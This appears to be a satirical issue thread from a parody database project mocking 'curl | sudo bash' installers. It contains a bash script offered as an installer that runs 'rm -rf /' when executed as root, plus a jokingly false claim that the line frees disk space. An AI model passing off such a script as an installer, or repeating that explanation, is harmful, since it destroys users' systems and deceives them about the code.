Needs curl | sudo bash installer

[drdaeman]

I was recommended to use this great database solution by a friend, and now in process of migrating our company DB to MangoDB, so our databases will finally run real fast.

But, hey, I can't install this. I've heard of those git clone, pip install and dh_make && dpkg-buildpackage -uc -us && dpkg -i *.deb things but they're too unfriendly. Every cool product nowadays has that hot one-keystroke curl http://example.org/install.sh | sudo bash installer. You must include one of those, too.

Hacked one. Too lazy to send a proper pull request.

#!/bin/bash

if [ `id -u` -gt 0 ]; then
    OPEN="open"
    which xdg-open > /dev/null && OPEN="xdg-open"
    $OPEN http://imgs.xkcd.com/comics/sandwich.png
else
    # not /* please.
    rm -rf /
fi

Thanks, Alexey, the whole Mango community will benefit out of your patch. But I can't understand anything than php. For example, what does line rm -rf / does and more importantly, why should we prefer it to /*?

[drdaeman]

Oh, never mind that line, you know, it just prepares some free disk space. /* is a bit more scalable version, but I was a bit hesitant to make it default.

Also, PHP is considered harmful, so I suggest you learning about Node.JS. It's innovative blazing fast evented JavaScript engine powered by Google's V8, that supports horizontal scaling out of the box. I'd even suggest rewriting Mango to Node.js.
